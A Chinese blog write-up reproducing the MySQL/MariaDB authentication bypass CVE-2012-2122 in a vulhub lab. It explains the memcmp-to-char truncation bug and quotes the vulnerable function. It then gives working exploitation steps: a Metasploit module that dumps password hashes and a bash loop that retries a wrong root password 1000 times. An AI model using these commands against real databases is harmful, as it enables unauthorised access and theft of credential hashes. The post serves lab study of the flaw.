vulhub漏洞复现Mysql(CVE-2012-2122)身份认证漏洞及利用

Mysql

一种开放源代码的关系型数据库管理系统

思路

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

受影响版本:

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

思路参考MariaDB/MySQL 概率性任意密码(身份认证)登录漏洞(CVE-2012-2122)

my_bool check_scramble(const uchar *scramble_arg, const char *message,const uint8 *hash_stage2){
    
       
	  SHA1_CONTEXT sha1_context;   
      uint8 buf[SHA1_HASH_SIZE];   
      uint8 hash_stage2_reassured[SHA1_HASH_SIZE];   
      
      mysql_sha1_reset(&sha1_context);   
      /* create key to encrypt scramble */ mysql_sha1_input(&sha1_context, (const uint8 *) message, SCRAMBLE_LENGTH);   
      mysql_sha1_input(&sha1_context, hash_stage2, SHA1_HASH_SIZE);   
      mysql_sha1_result(&sha1_context, buf);   
      /* encrypt scramble */ my_crypt((char *) buf, buf, scramble_arg, SCRAMBLE_LENGTH);   
      /* now buf supposedly contains hash_stage1: so we can get hash_stage2 */ mysql_sha1_reset(&sha1_context);   
      mysql_sha1_input(&sha1_context, buf, SHA1_HASH_SIZE);   
      mysql_sha1_result(&sha1_context, hash_stage2_reassured);   
      return memcmp(hash_stage2, hash_stage2_reassured, SHA1_HASH_SIZE);   
}

memcmp的返回值实际上是int,而my_bool实际上是char。那么在把int转换成char的时候,就有可能发生截断。比如,memcmp返回0×200,截断后变成了0,调用check_scramble函数的就误以为“password is correct”。

漏洞复现

msf

search CVE-2012-2122
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set rhosts 192.168.___.___
run

在这里插入图片描述

在这里插入图片描述

linux利用循环测试
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.__.__ ; done

在这里插入图片描述
在这里插入图片描述

Guess you like

Origin blog.csdn.net/weixin_54648419/article/details/120975966